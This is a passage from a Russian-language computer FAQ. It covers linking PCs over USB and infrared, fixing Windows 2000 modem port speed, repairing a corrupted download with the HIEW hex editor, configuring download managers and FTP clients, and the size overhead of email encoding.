После перезагрузки воткните шнурки в компьютер: их автоматически опознает Plug and Pray и сконфигурирует USB Bridge соответствующим образом. После очередной перезагрузки (да сколько же можно?!) при старте системы появится окно Microsoft Network с требованием пароля на вход в систему. Введите пароль и откройте "Сетевое окружение" – если все работает правильно, там должен видеться соседний компьютер.

Если же там его нет, причина, скорее всего в том, что ведомый компьютер работает под управлением Windows 9x, а ведущий – Windows NT (Windows 2000). А "подружить" их не так-то просто! С точки зрения Windows 2000 ее младшая сестра, Windows 9x, использует уязвимый протокол аутентификации, который Windows 2000 по умолчанию запрещает. О том, как его разрешить, рассказывает совет "Как соединить Windows 9x с Windows 2000". Если это не поможет, то либо что-то неладно с настройками BIOS – проверите: действительно ли USB-порт enabled и Plug and Play allowed, либо имеет место конфликт с сетевой картой, – в очень редких случаях приходится ее отключать в конфигурации оборудования. Еще одна возможная причина – образование изгибов, барашков и узлов на USB-кабеле – к этому он очень чувствителен.

Работает? Вот и хорошо! Запустите FAR и скомандуйте ему – "CD \\ИмяКомпьютера\\ИмяЗашаренногоРесурса" – содержимое ресурса должно немедленно появиться в текущей панели. Разумеется, с удаленным компьютером можно работать и с помощью "Проводника" Windows – это кому как удобно. Хорошая мысль – поставить на ведомый компьютер какой-нибудь простенький ftp-сервер. Работая на TCP, он освобождает от необходимости использования протокола NetBEUI и "зашаривания" ресурсов. (Ляпы реализации NetBEUI и техника атак на зашаренные ресурсы – тема другого разговора, здесь же достаточно сказать, что отказ от NetBEUI – лучше средство от головной боли и отличная превентивная мера защиты).

Как бы ни было хорошо прямое кабельное USB-соединение, у него, по сравнению с соединением через параллельный порт, есть один существенный недостаток: оно работает исключительно под Microsoft Windows и несильно выручает, если на девственно-чистом диске Notebook-а стоит одна лишь MS-DOS (как часто и бывает). Что же делать?!

Вариант первый: ждать-с! Фирма Parallel Technology в скором будущем обещает выложить полную спецификации USB-USB Bridge протокола. Тогда независимые программисты смогут разрабатывать свои собственные драйвера, работающие в том числе и под управлением MS-DOS. В том, что такие появятся, сомневаться не приходится, – слишком уж многим приходится сталкиваться с проблемой кабельного соединения через USB-порт под голой MS-DOS. Вот только ждать у моря погоды – как-то некузяво. Когда такие драйвера появятся – неизвестно. Может быть не один год пройдет, а информацию на Notebook необходимо перекачать именно сейчас! Тогда…

…вариант второй: перенесите на Notebook Windows 95 OSR 2.1 в минимальной конфигурации с помощью дискет. Выкидывая все ненужное, можно втиснуть минимально работающий "остов" всего в десяток-полтора мегабайт, на что уйдет меньше пачки дискет. Много, конечно, но в принципе терпимо. Обратите внимание: это должна быть именно Windows 95 OSR 2.1! Более ранние версии еще не поддерживали USB, а более поздние занимают слишком много места и с трудом поддаются урезанию.

За сим все. Если в процессе связывания компьютеров возникнут вопросы, посетите сайт /, довольно подробно описывающий коммуникационные возможности Windows, в том числе и творения сторонних разработчиков, или обратитесь к самой Parallel Technology, проживающей на .

Родственные вопросы:

Как соединить Windows 9x с Windows 2000

Как соединить компьютеры через инфракрасный порт? (следующий)

Q: Как соединить компьютеры через инфракрасный порт?

Инфракрасным портом уже оснащаются многие Notebook-и, но настольные компьютеры подавляющим большинством пока что продаются без "глазков" и докупать ИК - адаптер приходится самостоятельно.

Чтобы не мучаться с драйверами и прочей программной поддержкой, разумно остановить свой выбор на моделях, поддерживаемых непосредственно BIOS. Большинство BIOS позволяют работать с ИК - адаптером как с обычным последовательным портом. Это позволит устанавливать прямое кабельное соединение тем же стариком Norton Commander-ом или любой терминальной программой. Правда, скорость будет ограничена какой-то сотней килобит в секунду, что затруднит перенос больших объемов данных – дистрибьютив Windows 2000 будет перекачиваться несколько часов. За это время можно не только чай попить, но и детей завести! Но более короткого пути, по-видимому, не существует.

Рисунок 27 Рис 1ir, 2ir Подключение инфракрасного адаптера через последовательный порт

Рисунок 28 Рис. IrdaWave Инфракрасный порт IrDa IRwave IR320SA

Q:Сколько компьютеров можно связать прямым кабельным соединением?

Максимально возможное количество компьютеров, соединяемых прямым кабельным соединением определяется доступными портами компьютера (см. "У меня нет свободных портов. Как мне быть?"). Используя два последовательных (либо один последовательный и один параллельный) порта можно соединить в цепочку неограниченное количество компьютеров. Для этого на каждом компьютере необходимо запустить две копии приложения "Прямого кабельного соединения" – назначив один порт ведомым, а другой ведущий. Разумеется, все порты могут быть и ведомыми (ведущими) одновременно – это полезно когда к одному компьютеру, играющему роль сервера, подключено несколько других компьютеров-клиентов по топологии звезда (см. Рис 30).

Рисунок 29 Рис 0x024 Последовательное соединение компьютеров

Рисунок 30 Рис 0х025 Топология "звезда"

Родственные вопросы:

У меня нет свободных портов. Как мне быть?

Q: Почему Windows 2000 так медленно загружает страницы и принимает файлы? Сабиха connectiond@ftw.fu

Часто переход на Windows 2000 сопровождается смутными сомнениями – "две тысячи" это год выпуска или количество ошибок? А может быть, максимальная скорость сетевого соединения? Модем едва мигает лампочкой и больше, чем 2.000 байт в секунду не тянет. Что ли памяти мало или мегагерц? Пробуем увеличить и то, и другое – не помогает? Почему?!

А причина вся в том, что Windows 2000 при установке модема очень часто неправильно выставляет скорость порта. Например, Rockwell ACORP33.600 автора, она благополучно опознала, но почитала, что скорости порта в 9.600 бит (!) для успешной работы будет достаточно. Ну не свинство, а? ???? Рисунок "карикатура" свинья-копилка с логотипом Windows и монетой "2000 bugs", опускаемой в нее

Так-с, входим в систему с правами администратора, затем "Пуск"  "Настройка"  "Панель управления"  "Система"  вкладка "Оборудование"  кнопка "Диспетчер устройств"  "Порты COM и LPT"  "Свойства" того порта, на котором "висит" модем  вкладка "Параметры порта"  поле "Скорость". Устанавливаем максимальное значение и нажимаем "ОК".

Внимание! Скорость порта должна быть выше скорости модема, особенно если задействовано аппаратное сжатие. Модем может сжимать передаваемые данные в несколько раз, но если порт не обеспечит соответствующую пропускную способность, модем не сможет работать на полную мощь.

Получение файлов

Анархия – это когда вас постоянно поливают дерьмом, а вы должны терпеть.

Аноним

A: Как восстановить файл, некорректно принятый ReGet?

Менеджеры закачек очень популярны среди российских интернетчиков. Низкая скорость в купе с частными обрывами связи не оставляют никаких шансов скачать "тяжелый" файл за один раз. Но ведь не обязательно при очередном обрыве начинать скачивать файл с начала! Большинство серверов поддерживают позиционирование указателя текущей позиции чтения, позволяя в случае обрыва продолжить закачку с последнего прочитанного байта.

Однако, кроме обрывов связи и "падений трубки", случаются еще и сбои питания, привычные для всех зависания, от которых ReGet - популярный менеджер закачек – увы, не спасает. Если в момент "сливания" длинного файла неожиданный бросок напряжения приведет к выключению компьютера, "сливаемый" файл с большой степенью вероятности будет испорчен, – операционная система не успеет заполнить последний кластер, выделенный файлу, и в его хвосте окажется мусор! ReGet, не зная этого, продолжит закачку с последней позиции файла, "замуровав" "мусор" в его теле. Работать такой файл, разумеется, не будет.

Поэтому, после каждого сбоя (зависания, выключения питания) "мусорный хвост" приходится отрезать вручную. Для этой цели подходит утилита HIEW (Hacker's Viewer – Хакерский Вьювер"), раздобыть последнюю версию которой можно у Сусликова Евгения – ее автора – sen@ ss.

Загрузите "препарируемый" файл, указав его имя в командной строке, и, нажатием клавиши <F4> или <ENTER>, перейдите в hex-режим. Затем, с помощью "волшебной комбинации" <Ctrl-End> переместитесь в конец файла. Теперь необходимо отступить назад на величину кластера вашего диска (ее можно узнать, запустив программу проверки диска или заглянув в "свойства" диска) – нажмите <F5> и введите требуемое значение отступа в шестнадцатеричной нотации со знаком "минус". (Перевести десятичное число в шестнадцатеричное поможет калькулятор, встроенный в HIEW и вызываемый <All+'+'>). Переместившись на требуемую позицию, усеките файл комбинацией <F3>, <F10>. Теперь запустите ReGet, и он автоматически продолжит докачку с "безопасного" места.

Хуже, если требуется восстановить ранее скаченные файлы, содержащие мусор в середине. Сразу же возникают две проблемы – как определить где именно расположен мусор, и как заставить ReGet скачать фрагмент файла "от сих" – "до сих" для замены поверженного участка на новый?

Поиск сбойного фрагмента – самое сложное в операции восстановления. Отличить мусор от полезной информации, можно только зная структуру поверженного файла. С "текстовиками" никаких проблем нет – искомое место обнаруживаться визуальным просмотром, а вот как быть с остальными типами файлов? В результате серии экспериментов автором было установлено, что в мусоре присутствует по крайне мере одна регулярная структура – длинная цепочка из нескольких сотен нулей. Такая последовательность никогда не встречается в архивах и некоторых других типах файлов (например, pdf, rtf), поэтому она может служить своеобразной меткой – сигнатурой мусора. К сожалению, с другими форматами файлов дело обстоит сложнее, в частности, исполняемые файлы (в том числе и самораспакующиеся архивы) этими самыми нулевыми байтами могут быть напичканы под самую завязку – попробуй, разберись мусор это или нет!

Разберем для примера тривиальный случай. Допустим, при распаковке image4.zip (архив космических фотографий, взятый с http://stuma.simplenet.com/ds2000files/images4.zip) выдается ошибка извлечения файла "Inflating: EUROPA2.tif PKUNZIP: (W15) Warning! file fails CRC check"

Загрузим поврежденный архив в HIEW и попытаемся отыскать цепочку, состоящую более чем из десяти следующих друг за другом нулевых байт (<F7>, <Tab>, "00 00 00 00 00 00 00 00 00 00"):

Опаньки! Взгляните, что мы обнаружили!

002E6460: 68 D3 C9 38-16 B2 52 1E-B5 3F D3 0E-94 71 AE E4

002E6470: 5F DE 79 9F-99 E1 CD F9-56 D0 6A AC-64 37 F0 2D

002E6480: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6490: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64A0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64B0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64C0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64D0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64E0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E64F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6500: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6510: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6520: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6530: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6540: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6550: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6560: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6570: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6580: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6590: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65A0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65B0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65C0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65D0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65E0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E65F0: 00 00 00 00-00 00 00 00-00 00 00 00-00 00 00 00

002E6600: 10 A4 01 00-03 00 05 00-64 00 4C 8D-0C 01 00 01

002E6610: 00 06 00 CE-53 00 00 00-09 01 00 02-00 06 00 CB

Разумеется, крайне маловероятно, чтобы в архиве встретилась подобная последовательность (ведь архив это или что?). Вероятно, здесь-то и был застигнут ReGet врасплох сбоем питания или зависанием компьютера.

Подумаем, как можно наложить заплатку на "больное" место? Самое простое решение – обрезать искаженный файл немного выше начала цепочки нулей (вдруг сбой затронул и соседние участки?), запустить ReGet для докачки нескольких килобайт и дописать оставшийся от обрезания "хвост" в конец файла, чтобы не скачивать его заново из сети.

Рисунок 31 Рис. 0х026 Процедура восстановления поврежденного файла. Берем "больной" файл (1) – сбойный участок выделен красным ???, делаем его копию и отрезаем HIEW-ов чуть выше начала сбойного фрагмента (2), запускаем ReGet, чтобы он докачал столько килобайт, сколько составлял сбойный фрагмент плюс небольшой запас (3) – докаченный фрагмент выделен сплошной заливкой; дописываем неповрежденный хвост поврежденного файла к только что полученному (4) и в результате всех этих махинцаий имеем нормальный работоспособный файл (5).

Звучит заманчиво, но как все это выглядит на практике? Для начала создадим резервную копию испорченного файла, для чего воспользуемся любой привычной оболочкой или же командой copy из MS-DOS "Copy image4.zip back.me"

Теперь смело урежем оригинальный файл, поднявшись немного выше начала сбойного фрагмента (в HIEW-е это осуществляется нажатием <F3>, <F10>). Запускаем ReGet и терпеливо ждем пока десяток-другой килобайт не упадут на наш жесткий диск (ждать, очевидно, придется недолго).

Для определения границ сбоя и уверенности, что мы их гарантированно миновали, выполним побайтовое сравнение старого и нового файлов утилитой MS-DOS fc.exe: "Fc image4.zip back.me /b > log.txt". Заглянем в полученный файл log.txt

Сравнение файлов images4.zip и back.me

002E6480: 33 00

002E6481: AA 00

002E6482: 31 00

002E6483: 0F 00

002E6484: FD 00

002E6485: EB 00

002E6486: D9 00

: : :

002E6607: 84 00

002E65F8: FB 00

002E65F9: 72 00

002E65FA: E9 00

002E65FB: 60 00

002E65FC: D7 00

002E65FD: 4E 00

002E65FE: C5 00

002E65FF: 3C 00

002E6600: C3 10

002E6601: CE A4

002E6602: A2 01

002E6603: 18 00

002E6604: 92 03

002E6605: 06 00

002E6606: 82 05

; ^^^^^^^ - последний байт сбоя

Оказывается, сбойный участок начинается с первого нулевого байта (байты, лежащие выше, совпадают в новой и старой версии), но вот за концом нулей находится некоторое количество искаженных байт, последний из которых расположен по смещению 0x2E6606.

Теперь остается дописать остаток "хвоста", взятого из резервной копии файла, что без труда можно сделать с помощью того же HIEW. Откроем резервный файл и переведем курсор на байт по смещению 0x236607 (<F5>, "236607") и, нажав звездочку на цифровой клавиатуре, выделим блок до конца файла. Затем еще раз звездочку для завершения выделения и <F2> для записи "хвоста" в укороченный файл.

Попробуем его распаковать: о, чудо! Это сработало! Простыми операциями нам удалось сэкономить уйму времени (и денег, кстати, тоже).

Конечно, ничего этого не потребовалось бы, будь ReGet устойчив к сбоям по питанию (как, например, GetRight – который всегда отрезает несколько килобайт от хвоста файла после каждого обрыва). Но, как знать, быть может, в следующих версиях это и будет исправлено?

Родственные вопросы:

Необходимо скачать большой файл, но соединение постоянно рвется, а сервер не поддерживает "докачки"… (следующий)

Попытка скачать с WEB-сервера файл моим любимым "качальщиком" заканчивается провалом – сервер "ругается" и не "отдает" файл. В то же время, через браузер все работает нормально, но, естественно, без докачки. Почему так?

Q: Необходимо скачать большой файл, но соединение постоянно рвется, а сервер не поддерживает "докачки"…

Такое часто случается… В сети существует не так уж мало серверов, не поддерживающих докачку, но хранящих файлы в несколько десятков мегабайт размером. Удивительно, о чем только думают их владельцы! На низкоскоростных низкокачественных линиях скачать такие файлы принципиально невозможно, поскольку разрыв наступает раньше, чем удается получить хотя бы половину файла.

Очень часто проблема решается поиском того же самого файла на каком-нибудь другом сервере, докачку поддерживающим. В этом помогают поисковые машины или ссылки на зеркала на самом сервере. Но этот примем, к сожалению, срабатывает не всегда – существуют и такие файлы, которые находится в единственном экземпляре на единственном в сети сервере.

Пользователи давно ведут непрекращающуюся "священную войну" по поводу "чья файлокачалка лучше". Некоторым утилитам даже приписывается мифическое (мистическое?) умение докачивать с любого сервера. В действительности же – все это легенды и не более того. В "докачке" ничего загадочного нет. Некоторые серверы поддерживают специальную команду, позволяющую начать передачу файла не с самого начала, а с произвольной позиции. Если же такой команды в "лексиконе" сервера нет, – докачка невозможна в принципе, и при обрыве соединения придется начинать качать все заново. Ну, разве, что файл скэшируется где-нибудь "по дороге".

Иногда выручает перекачка через кэширующий Proxy-сервер. При первом же запросе он получает файл целиком и сохраняет его на своем диске, избавляя клиента от "радости" общения с недокачивающим сервером. Однако сервер может легко запретить кэширование (что часто и происходит) – тогда такой прием не сработает. В частности, ни одна из известных автору качалок не умеет докачивать файлы, выдаваемые cgi-скриптами. А такая потребность возникает и очень часто! Как же быть?!

Проще всего воспользоваться услугами специальных серверов, позволяющих получать файлы с ftp- и web-серверов по электронной почте. Во-первых, соединение с почтовым ящиком провайдера обычно много быстрее, чем с далеким за бугорным сервером, а, во-вторых, в этом случае большой файл автоматически разрезается на несколько частей, что упрощает его получение.

Другой, более универсальный, способ состоит в использовании промежуточного сервера с максимально быстрым каналом. Чем быстрее канал, тем больше шансов на то, что файл будет целиком передан за один раз без разрывов. Затем же, с промежуточного сервера искомый файл может быть без проблем скачен на компьютер пользователя (естественно, промежуточный сервер должен поддерживать докачку, иначе не стоит и затевать весь этот сыр-бор). Альтернативный вариант – если такой сервер территориально близок, можно подъехать к его владельцу и переписать скаченный файл на дискету (CD-ROM, Zip и т.д.), сэкономив изрядное количество времени и денег.

Для скачивания файла через промежуточный сервер можно воспользоваться либо telnet-доступом, запустив на удаленной машине ftp-клиента (см. вопрос "Разное Что такое telnet и как с ним работать"), либо разместить на web-сервере специальный cgi-скрипт, делающий всю работу за вас (см. "Personal Web Server Какие сервера бесплатно предоставляют право исполнения cgi?", "Personal Web Server Как разместить скрипт на сервере?")

Родственные вопросы:

Разное  Что такое telnet и как с ним работать

Personal Web Server  Какие сервера бесплатно предоставляют право исполнения cgi?

Personal Web Server  Как разместить скрипт на сервере?

Попытка скачать с WEB-сервера файл моим любимым "качальщиком" заканчивается провалом – сервер "ругается" и не "отдает" файл. В то же время, через браузер все работает нормально, но, естественно, без докачки. Почему так? (следующий)

Q: Попытка скачать с WEB-сервера файл моим любимым "качальщиком" заканчивается провалом – сервер "ругается" и не "отдает" файл. В то же время, через браузер все работает нормально, но, естественно, без докачки. Почему так? Миу cat@

Для идентификации программного обеспечения, установленного у клиента, в заголовке запроса, посылаемого web-серверу, предусмотрено специальное поле "User-Agent", заполняемое самим клиентом, точнее, его программным обеспечением, и по обыкновению содержащие название и версию этого самого программного обеспечения.

Зная, какие браузеры используют посетители его сайта, web-мастер может оптимизировать HTML-код соответствующим образом. Хотя, временами раздаются недовольные возгласы в стиле "руки прочь от подробностей интимной жизни посетителя", техника идентификации клиентов призвана служить их же благу.

И все было бы хорошо, если бы некоторые (слегка тронутые) web-мастера, не налагали бы ограничений на выбор программного обеспечения. Анализируя содержимое поля "User Agent" они разрешают доступ к ресурсам в том, и только в том случае, если клиент использует "дозволенный" браузер, в противном же случае – от ворот поворот. Прямо как в анекдоте – моя селедка, что хочу, то и делаю!

Большинство браузеров – Internet Explorer, Netscape Navigator и др. – для своей идентификации используют кодовое имя "Mozilla", а "качальщики" файлов зачастую оставляют поле "User-Agent" пустым, либо же заполняют его некоторым образом по своему усмотрению. Поэтому, отличить такой "качальщик" от браузера очень легко! Вопрос: чем же мотивирован запрет на использование "качальщиков", следует задать этим самым "двинутым" web-мастерам, автор же ответить на него не в силах – это выше его понимания!

Можно ли обойти такую защиту? Разумеется, да - достаточно качальщику идентифицировать себя строкой "Mozilla" – если, конечно, такая возможность предусмотрена его разработчиком. В противном случае придется выбирать другого "качальщика" – с более гибкими настройками.

Очень сильно ушибленные web-мастера ухитряются распознавать такой обман, проверяя значение еще одного поля – "Referrer", содержащее адрес страницы откуда пришел клиент. {>>>> сноска прямо разворачивают целую военную компанию против своих посетителей!}. При скачке файла из браузера в это поле помещается адрес текущей страницы, но большинство "качальщиков" оставляют его пустым!

Разумеется, разработчикам "качальщиков" это препятствие нетрудно обойти – подумаешь, проблема – добавить несколько лишних строчек кода, – но вот пользователи "качалки", не поддерживающей заполнения поля "Referrer" скидывают ласты и выпадают в осадок, разыскивая более совершенную программу – поумнее.

Ниже будет приведен пример конфигурирования двух популярнейших приложений – ReGet и Teleport Pro. Во всех остальных случаях поможет прилагаемая к продукту документация, а в ее отсутствии эту операцию можно попытаться выполнить и самостоятельно, поскольку все приложения конфигурируются, в общем-то, аналогично.

???? Рисунок "карикатура" Веб-мастер, ведущий войну с посетителями – посетитель хочет забрать файл, а Веб мастер, вцепившись в него мертвой хваткой – не отдает!

ReGet

В меню "Настройки" выберите пункт "Свойства закачки по умолчанию" (или нажмите комбинацию клавиш <Ctrl+Alt+O>) и в открывшемся диалоговом окне перейдите к закладке "HTTP", где перемещением радио кнопки в секции "Строка User-Agent" выберите: какое именно приложение необходимо имитировать.

Секция "Строка Referrer" задает способ заполнения содержимого поля "Referrer". На выбор пользователя предложены следующие варианты: "Нет" – поле "Referrer" остается пустым; "Версия ReGet" – в поле "Referrer" попадет версия ReGet, например, "ReGet/1.4.0.393  SE" (не очень хорошо для имитации браузера, но зато честно); наконец, ниспадающий бокс со строкой редактирования позволяет задать содержимое поля "Referrer" самостоятельно – для обхода защиты (если она есть – т.е. файл с сервера не отдается иным образом) занесите сюда адрес странички, содержащей ссылку на файл (он содержится в строке "Адрес" браузера). Такую операцию придется проделывать для скачки каждого файла с защищенного сервера. Чтобы постоянно не лазить в глобальные настройки "Свойств закачки по умолчанию" при добавлении новой закачки в закладке "URL" взведите галочку "Использовать собственные расширенные настройки", затем, в раскрывшемся веере закладок, перейдите к закладке "HTTP" и скопируйте адрес страницы в локальное поле "Referrer". Это довольно утомительное занятие, но ReGet не предоставляет никаких средств для его автоматизации. Впрочем, web-мастера, ведущие планомерную войну со своими посетителями, встречаются не так уж часто, поэтому к описанному выше трюку прибегать придется редко.

Teleport Pro

Популярный "телепортатор" сайтов – Teleport Pro – значительно менее гибок, чем его сотоварищ ReGet и не позволяет манипулировать содержимым поля "Referrer", – вся имитация браузера сводится к подделке поля "User-Agent".

Для задания желаемого значения в меню "Project" выберите пункт "Project Properties" и в появившемся диалоговом окне перейдите к закладке "Netiquette" – там, в поле "Agent Identify", предлагается на выбор один из пунктов:

"Anonymous"

– аноним (поле User-Agent пустое);

"Identify as Teleport Pro

– идентифицировать себя как Teleport Pro (по умолчанию);

"Impersonate Microsoft Internet Explorer, version"

– выдавать себя за Internet Explorer указанной версии (номер версии указывается в соответствующем окне);

"Impersonate Netscape Navigator"

– выдавать себя за Netscape Navigator указанное версии;

"Use this identification"

– в поле "User-Agent" помещается строка, введенная пользователем.

Родственные вопросы:

Не могу скачать файл с ftp через Proxy-сервер (Firewall)! Почему это и как быть?

Q: Я скачал файл с сервера, а он отказывается распаковываться (запускаться). Кто виноват, и что делать?

Причин, по которым скаченный файл может отказаться распаковываться (запускаться), – множество. Кстати, не факт, что файл действительно полностью скачался – многие серверы не поддерживают функцию определения размера качаемого файла и, если соединение внезапно разорвется, для качальщика это будет выглядеть неотличимо от конца файла. В такой ситуации определить действительный конец невозможно – попробуйте скачать файл еще раз – если получится тот же самый размер, скорее всего, файл был получен целиком, ведь маловероятно чтобы соединение дважды разрывалось на одном и том же месте, хотя и такое в жизни бывает.

Другой "тонкий" момент– при скачивании файла с ftp-сервера в режиме "ASCII" все символы конца строки передаваемого файла принудительно замещаются сервером двухбуквенной последовательностью "возврат каретки, конец строки" согласно стандарту виртуальных терминалов. Подобная мера необходима для согласования различных платформ, сред и операционных систем, т.к. в силу исторических причин все они имеют собственный взгляд на формат завершения строки. Например, в текстовом файле, созданным редактором UNIX, каждая строка традиционно завершается символом с кодом 0xA, что "переваривает" далеко не всякий Windows (DOS) редактор, ожидающий увидеть в конце строки комбинацию 0xD 0xA. Поэтому, приведение содержимого файла, сливаемого с ftp-сервера, к единому стандарту вполне разумно и полезно, за исключением нетекстовых файлов (архивов, исполняемых и т.д.) бесцеремонное вмешательство во внутреннюю структуру которых, скорее всего, приведет к их необратимой порче. О том, как выключить режим "ASCII" см. ответ на вопрос "subQ: Что такое режим ASCII и как его отключить в моем ftp-клиенте?"

При сливании файла через Proxy часто возникает следующая проблема: при обрыве соединения с удаленным сервером Proxy пытается сообщить пользователю об ошибке, дописывая в конец файла собственное сообщение. Если "качальщик" не распознает такой ситуации и при докачке файла начнет записывать новые данные в его конец – файл окажется безнадежно искореженным застрявшем в его теле сообщением. Во избежание подобных казусов некоторые "качальщики" (GetRight, ReGet) после каждого обрыва отрезают некоторый кусок от "хвоста" файла – достаточно длинный для того, чтобы гарантировано вместить в себя зловредное сообщение об ошибке. Как правило, для этого достаточно двух – четырех килобайт, т.е. теряется всего лишь несколько секунд перекачки на каждый разрыв, что вполне приемлемо. Однако в излишнем рвении к оптимизации, некоторые разработчики не задействуют такой режим по умолчанию, и его приходится включать принудительно (ReGet к таковым не относится). Как именно это сделать – читайте в прилагаемой к "качальщику" документации. Универсальных решений и даже устоявшихся названий этой опции не существует.

Наконец, файл может быть поврежден на самом сервере или же стоит "битый" сервер, калечащий сливаемые файлы. В качестве примера можно привести сервер , на котором находится сайт автора – с него невозможно слить ни один двоичный файл, в том числе и файл, содержащий заархивированное содержимое компакт-диска, прилагаемого к книге "Техника и философия хакерских атак" Криса Касперски.

Родственные вопросы:

Что такое режим ASCII и как его отключить в моем ftp-клиенте? (следующий)

subQ: Что такое режим ASCII и как его отключить в моем ftp-клиенте?

Режим ASCII предписывает ftp-серверу передавать (принимать) содержимое файла в восьмибитной ASCII-кодировке, принудительно замещая все символы "конца строк" двухбуквенными последовательностями "перевод каретки, конец строки" согласно спецификации виртуальных терминалов (подробнее см. ответ на предыдущий вопрос).

Такой режим не годится для двоичных файлов, например, архивов или исполняемых, поэтому в таких случаях его следует отключить (или, наоборот, не включать – в зависимости от настроек ftp-клиента по умолчанию). Как конкретно это сделать должно быть рассказано в прилагаемой к программе документации (прочитайте ее от корки до корки, документация – вещь хорошая!), а ниже в качестве демонстрации будет показано как отключить ASCII-режим в популярных клиентах ReGet и FAR, в остальных же случаях ищете в настройках опции "ASCII mode" или "ASCII режим", так же может быть "Не замещать LF на CR LF" {>>>>> сноска – LF – Line Feed – конец строки, CR - carriage return – возврат каретки} "Dont replace (синонимы – reform, reorganize; change, transform, convert…) LF to CR LF" по-английски.

FAR

В свойствах ftp-адреса, вызываемых нажатием <F4> (при этом курсор должен находиться на том адресе, чьи свойства хотят менять), необходимо снять флажок "ASCII mode" (по умолчанию снят) и нажать "Save" для сохранения настроек или "Connect" для установки пробного соединения без сохранения настроек.

╔═════════════════════════ Edit FTP address ═════════════════════════╗

║ ftp://user:password@host:port/dir ║

║ ↓║

║ User password: ║

║ ║

║ FTP description: ║

║ ║

╟────────────────────────────────────────────────────────────────────╢

║ [ ] Ask password directly before connecting ║

[ ] Ascii mode

║ [ ] Passive mode ║

║ [ ] Use firewall ║

╟────────────────────────────────────────────────────────────────────╢

║ [ Save ] [ Connect ] [ Select table ] [ Cancel ] ║

╚════════════════════════════════════════════════════════════════════╝

Рисунок 32 Выключение режима ASCII в FAR

ReGet

В меню "Настройки" выберите пункт "Свойства закачки по умолчанию" (или нажмите комбинацию клавиш <Ctrl+Alt+O>) и в открывшемся диалоговом окне перейдите к закладке "FTP", в ней сбросьте галочку "Режим ASCII" (сброшена по умолчанию) и нажмите клавишу "OK", чтобы проделанные изменения вступили в силу.

Q: Не могу скачать файл с ftp через Proxy-сервер (Firewall)! Почему это и как быть?

Специфика работы ftp-сервера такова, что он требует для своей работы установки сразу двух соединений: одного – для обмена командами, другого – для приема или посылки данных. "Командное" соединение всегда устанавливает клиент и Proxy-сервер (firewall) его благополучно "пропускает" (см. "Интернет. Общие вопросы Что такое Proxy-сервер и как с ним работать?"), а вот соединение для передачи данных может устанавливать либо сам сервер (активный режим) или клиент (пассивный режим).

При работе под Proxy-сервером активный режим невозможен, т.к. Proxy допускает установку лишь исходящих соединений – от клиента к серверу, но не наоборот, а Firewall может быть сконфигурирован так, чтобы блокировать входящие соединения (хотя это и не обязательно). Поэтому ftp-клиент должен быть переведен в пассивный режим. Как конкретно это сделать рассказывается в документации, прилагаемой к используемому приложению (во всяком случае, должно рассказываться), если, конечно, данное приложение поддерживает пассивный режим.

Ниже в качестве примера приведена техника конфигурирования двух популярных ftp-клиентов – FAR-менеджера и "качальщика" ReGet. Все остальные конфигурируются приблизительно тем же образом (ищите пункт "Пассивный режим" или "Passive mode" по-английски).

FAR

В меню "Options" выберите пункт "Plug-ins configuration", а в нем – "FTP-client". В открывшемся диалоговом окне взведите галочку напротив "Passive Mode" (см. так же "Интернет. Общие вопросы Как заставить такое-то приложение работать через Proxy (Firewall)"). Нажмите "ОК" и повторите попытку получения файла.

ReGet

В меню "Настройки" выберите пункт "Свойства закачки по умолчанию" (или нажмите комбинацию клавиш <Ctrl+Alt+O>) и в открывшемся диалоговом окне перейдите к закладке "FTP", а в ней взведите галочку "Пассивный режим". Нажмите "ОК" и повторите попытку получения файла.

Родственные вопросы:

Интернет. Общие вопросы  Что такое Proxy-сервер и как с ним работать?

Интернет. Общие вопросы  Как заставить такое-то приложение работать через Proxy (Firewall)

Секреты почты

Q: Сколько к письму добавляется служебной информации и как рассчитать, чтобы почтовый ящик не переполнился Сергей Иванов

Создатели почтовых протоколов проявили большую недальновидность, не предусмотрев возможности передачи двоичных файлов, и – что еще хуже – ограничили разрядность символов семью битами вместо общепринятых восьми. Семи бит было вполне достаточно для вмещения всего американского алфавита вместе с цифрами и знаками препинания, а о поддержке национальных кодировок тогда еще не задумывались.

Удивительно, но эти несовершенные, на скорую руку спроектированные протоколы, стали стандартом де-факто, и остальным разработчикам пришлось приложить немало усилий, чтобы преодолеть все их ограничения и превратить почту в универсальный инструмент обмена информацией.

Восемь бит удалось-таки закодировать в цифрах, знаках препинания и символах английского языка. Однако такой способ кодировки потребовал определенных накладных расходов – там, где раньше хватало одного байта, теперь порой требуется аж до трех! Русскоязычное письмо (даже без учета добавленной к нему служебной информации), после его перекодировки может "растолстеть" до трех собственных размеров.

Вложенные файлы чаще всего автоматически кодируются в UUE или MIME, отчего их размер возрастает в 1,3 раза. То есть, если максимальный размер одного письма ограничен 1 мегабайтом, наибольший допустимый размер файла вложения составит 770 килобайт , а за вычетом служебной информации еще на несколько килобайт меньше – порядка 750-760 Кб.

Родственные вопросы:

Что такое MIME

Q:Мне пришло письмо: "Если вы просматриваете данное сообщение…."

